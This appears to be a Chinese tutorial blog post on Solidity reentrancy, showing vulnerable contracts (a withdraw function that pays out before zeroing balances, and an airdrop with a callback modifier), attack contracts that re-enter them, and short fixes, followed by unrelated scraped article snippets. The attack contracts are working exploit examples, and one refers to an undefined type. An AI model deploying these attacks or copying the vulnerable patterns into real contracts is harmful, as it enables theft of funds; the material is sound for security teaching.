solidity 重入漏洞
目录
1. 重入漏洞的原理
2. 重入漏洞的场景
2.1 msg.sender.call 转账
2.2 修饰器中调用地址可控的函数
1. 重入漏洞的原理
重入漏洞产生的条件:
- 合约之间可以进行相互间的外部调用

恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约地址可控。当恶意合约 B 实现了 funcB,并且 funcB 的代码中又调用了合约 A 的 funcA,就会导致一个循环调用,即 step 2 => step 3 => step 2 => step 3 => ....... 直到 合约 gas 耗尽或其他强制结束事件发生。
2. 重入漏洞的场景
2.1 msg.sender.call 转账
msg.sender.call 转账场景下重入漏洞产生的条件:
- 合约之间可以进行相互间的外部调用
- 使用 call 函数发送 ether,且不设置 gas
- 记录款项数目的状态变量,值变化发生在转账之后

恶意合约 B 调用了合约 A 的退款函数;合约 A 的退款函数通过 call 函数给合约 B 进行转账,且没有设置 gas,合约 B 的 fallback 函数自动执行,被用来接收转账;合约 B 的 fallback 函数中又调用了合约 A
合约 A
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract A {mapping(address => uint) public balances;function deposit() public payable { balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);// 调用 call 函数将款项转到 msg.sender 的账户(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 账户余额清零balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
恶意合约 B:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract B {A public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when A sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
2.2 修饰器中调用地址可控的函数
代码地址:https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier
漏洞合约代码:
pragma solidity 0.8.13;import "./Dependencies.sol";contract InsecureAirdrop {mapping (address => uint256) private userBalances;mapping (address => bool) private receivedAirdrops;uint256 public immutable airdropAmount;constructor(uint256 _airdropAmount) {airdropAmount = _airdropAmount;}function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {// Mint AirdropuserBalances[msg.sender] += airdropAmount;receivedAirdrops[msg.sender] = true;}modifier neverReceiveAirdrop {require(!receivedAirdrops[msg.sender], "You already received an Airdrop");_;}// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsfunction _isContract(address _account) internal view returns (bool) {// It is unsafe to assume that an address for which this function returns // false is an externally-owned account (EOA) and not a contractuint256 size;assembly {// There is a contract size check bypass issue// But, it is not the scope of this example thoughsize := extcodesize(_account)}return size > 0;}modifier canReceiveAirdrop() {// If the caller is a smart contract, check if it can receive an airdropif (_isContract(msg.sender)) {// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsrequire(IAirdropReceiver(msg.sender).canReceiveAirdrop(), "Receiver cannot receive an airdrop");}_;}function getUserBalance(address _user) external view returns (uint256) {return userBalances[_user];}function hasReceivedAirdrop(address _user) external view returns (bool) {return receivedAirdrops[_user];}
}
攻击合约代码:
pragma solidity 0.8.13;import "./Dependencies.sol";interface IAirdrop {function receiveAirdrop() external;function getUserBalance(address _user) external view returns (uint256);
}contract Attack is IAirdropReceiver {IAirdrop public immutable airdrop;uint256 public xTimes;uint256 public xCount;constructor(IAirdrop _airdrop) {airdrop = _airdrop;}function canReceiveAirdrop() external override returns (bool) {if (xCount < xTimes) {xCount++;airdrop.receiveAirdrop();}return true;}function attack(uint256 _xTimes) external {xTimes = _xTimes;xCount = 1;airdrop.receiveAirdrop();}function getBalance() external view returns (uint256) {return airdrop.getUserBalance(address(this));}
}
漏洞合约为一个空投合约,限制每个账户只能领一次空投。
攻击过程:
- 部署攻击合约 Attacker 后,执行函数 attack,attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投;
- 漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码,而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop(),此时 msg.sender 为攻击合约地址;
- 攻击合约自己实现了 canReceiveAirdrop() 函数,并且函数代码中再次调用了 receiveAirdrop 函数接收空投
于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。
修复重入漏洞
1.避免使用call方法转账
2.确保所有状态变量的逻辑都发生在转账之前
3.引入互斥锁
相关文章:
solidity 重入漏洞
目录 1. 重入漏洞的原理 2. 重入漏洞的场景 2.1 msg.sender.call 转账 2.2 修饰器中调用地址可控的函数 1. 重入漏洞的原理 重入漏洞产生的条件: 合约之间可以进行相互间的外部调用 恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA…...
【智能家电】东胜物联离在线语音方案为厨电企业赋能,实现厨房智能化控制
近年来,我国厨电市场蓬勃发展。据行业统计数据显示,至今年6月,市场规模已达356亿元,同比增长8.8%。随着数字科技、物联网和人工智能的兴起,厨电产品正在朝着更智能、多功能化的方向迅速发展。 为此厨电厂商正在积极布…...
3DMAX英文版怎么切换到中文版?
3DMAX英文换到中文版的方法 3dMax是专业三维建模、渲染和动画软件,它使你能够创建广阔的真实世界和各种高级设计。 -使用强大的建模工具为环境和景观注入活力。 -使用直观的纹理和着色工具创建精细的细节设计和道具。 -迭代并制作具有完全艺术控制的专业级渲染图…...
WEB渗透—PHP反序列化(八)
Web渗透—PHP反序列化 课程学习分享(课程非本人制作,仅提供学习分享) 靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场 课程地址:PHP反序列化漏洞学习_哔哩…...
LeetCode——2415. 反转二叉树的奇数层
通过万岁!!! 题目:给你一个完全二叉树,然后将其奇数层进行反转。思路:这个题他都说了是奇数层了,那基本就是层序遍历了。但是存在两个问题,一个是如何判断奇数层,另外一…...
【Spring学习笔记】Spring 注解开发
Spring学习——注解开发 注解开发注解开发定义bean纯注解开发 Bean管理bean作用范围bean生命周期 依赖注入自动装配 第三方bean管理注解开发总结XML配置与注解配置比较 注解开发 注解开发定义bean 使用Component定义开发 Component("bookDao") public class BookD…...
【华为数据之道学习笔记】6-5数据地图的核心价值
数据供应者与消费者之间往往存在一种矛盾:供应者做了大量的数据治理工作、提供了大量的数据,但数据消费者却仍然不满意,他们始终认为在使用数据之前存在两个重大困难。 1)找数难 企业的数据分散存储在上千个数据库、上百万张物理表…...
JavaWeb笔记之JSP
一、引言 现有问题 在之前学习Servlet时,服务端通过Servlet响应客户端页面,有什么不足之处? 开发方式麻烦:继承父类、覆盖方法、配置Web.xml或注解。 代码修改麻烦:重新编译、部署、重启服务。 显示方式麻烦&#x…...
在x64上构建智能家居(home assistant)(二)(新版Debain12)连接Postgresql数据库
新版数据库安装基本和旧版相同,大部分可以参考旧版本在x64上构建智能家居(home assistant)(二)连接Postgresql数据库_homeassist 数据库-CSDN博客 新版本的home assistant系统安装,我在原来写的手顺上直接修改了,需要的可以查看在x64上构建智能家居(home…...
八股文打卡day6——计算机网络(6)
面试题:GET请求和POST请求的区别 我的回答: 1.作用不同:GET是用来获取服务器资源的;POST是用来向服务器提交资源的; 2.参数传递方式不同:GET请求参数一般写在URL中的,只能接收ASCII字符;POST的…...
【PHY6222】绑定详解
1.函数详解 bStatus_t GAPBondMgr_SetParameter( uint16 param, uint8 len, void* pValue ) 设置绑定参数。 bStatus_t GAPBondMgr_GetParameter( uint16 param, void* pValue ) 获取绑定参数。 param: GAPBOND_PAIRING_MODE,配对模式,…...
vue事件绑定
vue提供了v-on事件绑定指令,用来辅助程序员为DOM元素绑定事件监听,语法格式如下: v-on:指令可以简写为 注意:原生DOM对象有onclick,oninput,onkeyup等原生事件,替换为vue的事件绑定…...
如何在服务器上部署springboot项目
在服务器上部署Spring Boot项目通常有以下步骤: 在服务器上安装Java运行环境:首先确保服务器上已经安装了Java运行环境(至少需要Java 8或以上版本)。 快速安装JDK命令: yum install java-1.8.0-openjdk.x86_64 打包S…...
基于Spring Boot的支教志愿者招聘网站
文章目录 项目介绍主要功能截图:部分代码展示设计总结项目获取方式🍅 作者主页:超级无敌暴龙战士塔塔开 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题库【关注我,都给你】 🍅文末获取源码联系🍅 项目介绍 基于Spring Boot的支教志愿者招聘网站,j…...
安装gnvm,nodejs,npm使用方法
安装gnvm,nodejs,npm使用方法 一、安装gnvm gnvm.exe下载地址: https://download.csdn.net/download/hsg77/88651752 http://ksria.com/gnvm/#download 二、配置gnvm环境变量 新建目录,如:d:/nodejs 并把gnvm.exe存储到此目录 并把d:/node…...
word导入导出-Apache POI 和 Poi-tl
word 文件读取 使用Apache POI Word 进行读取文件 使用poi 时如果报ClassNotFoundException 等错误,请注意请求以下maven 文件的版本 Apache POI Word 说明文档:Apache POI Word 说明文档 maven 解决依赖冲突教程:https://www.cnblogs.com/…...
Hadoop 集群环境搭建
目录 第一部分:系统安装... 3 1:图形化安装... 3 2:选择中文... 3 3:安装选项... 3 4:软件选项... 4 5:安装位置... 4 6:网络配置... 6 7:开始安装... 7 8:创建用户... 7…...
maven完结,你真的学完了吗
书接上文:必学的maven的起步-CSDN博客 分模块开发与设计 分模块开发: 创建模块书写代码模块 模块中需要其他的模块,就将他安装到仓库然后再dep中导入依赖通过maven指令安装模块到本地仓库(install) 聚合与继承 聚合…...
【Xcode】解决Unable to process request - PLA Update available
出现场景 IOS更新app时,使用Xcode上传新版本的包时,提示无法上传。 Unable to process request -PLA update available you currently dont have access to this membership resource. To resolve this issue ,agree to the latest program license a…...
力扣单调栈算法专题训练
目录 1 专题说明2 训练 1 专题说明 本博客用来计算力扣上的单调栈题目、解题思路和代码。 单调栈题目记录: 2232866美丽塔II 2 训练 题目1:2866美丽塔II。 解题思路:先计算出prefix[i],表示0~i满足递增情况下,0~i…...
后进先出(LIFO)详解
LIFO 是 Last In, First Out 的缩写,中文译为后进先出。这是一种数据结构的工作原则,类似于一摞盘子或一叠书本: 最后放进去的元素最先出来 -想象往筒状容器里放盘子: (1)你放进的最后一个盘子(…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
【论文笔记】若干矿井粉尘检测算法概述
总的来说,传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度,通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南 在数字化营销时代,邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天,我们将深入解析邮件打开率、网站可用性、页面参与时…...
安卓基础(aar)
重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...
Java编程之桥接模式
定义 桥接模式(Bridge Pattern)属于结构型设计模式,它的核心意图是将抽象部分与实现部分分离,使它们可以独立地变化。这种模式通过组合关系来替代继承关系,从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...
